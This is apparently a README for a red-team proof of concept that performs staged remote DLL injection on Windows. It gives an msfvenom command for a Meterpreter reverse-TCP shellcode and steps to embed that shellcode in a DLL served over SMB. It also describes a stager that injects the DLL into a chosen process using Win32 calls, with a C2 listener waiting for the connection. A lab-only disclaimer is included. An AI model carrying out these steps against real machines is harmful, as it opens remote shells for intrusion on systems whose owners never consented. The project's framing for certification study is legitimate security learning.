staged-DLL-Injection

使用 C 语言和 Win32 API 构建的分阶段 DLL 注入概念验证——在隔离的实验室环境中开发，用于红队认证学习（CRTO）。

⚠️ 免责声明： 本项目严格在隔离的实验室环境中开发，仅用于教育目的，作为进攻性安全研究和认证学习（CRTO）的一部分。不应用于未经明确书面授权的任何系统。未经授权使用属非法且不道德的行为。

概述

这是一个在 Windows 上实现分阶段 DLL 注入的概念验证，作为红队认证学习的一部分而构建。该项目演示了 stager 如何利用原生 Win32 API 将恶意 DLL 远程加载到目标进程中。 在允许内部网络 SMB 流量的 AD 环境中效果最佳，不建议在互联网上使用。

用法

1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>

工作原理

Stager（phc.c）

• 接受目标进程 PID 作为命令行参数
• 通过 OpenProcess 打开目标进程的句柄
• 通过 VirtualAlloc 在目标进程内分配内存
• 从 Kernel32 获取 LoadLibraryW 的地址
• 通过 CreateRemoteThread 生成远程线程，调用 LoadLibraryW，从远程 SMB 共享加载 DLL

DLL（maindll.dll）

• 包含嵌入的 shellcode 载荷
• DllMain 在 DLL_PROCESS_ATTACH 时自动触发
• 通过 VirtualAlloc 分配可执行内存
• 将 shellcode 复制到内存中，并通过 CreateThread 执行

攻击流程

phc.exe → 打开目标进程 → 在目标进程中分配内存 → 通过 LoadLibraryW 从 SMB 共享加载 maindll.dll → DllMain 触发 → Shellcode 在目标进程内执行

所演示的技术

• 通过 CreateRemoteThread + LoadLibraryW 进行远程 DLL 注入
• 在 C 中嵌入并执行 shellcode
• 通过 DllMain 滥用 DLL 入口点
• 通过 SMB 进行远程载荷分段投递

构建工具

• C
• Win32 API
• msfvenom
• Sliver C2

环境

在隔离的实验室环境中于 Windows 10 上测试。C2 监听器托管在 Kali Linux 上。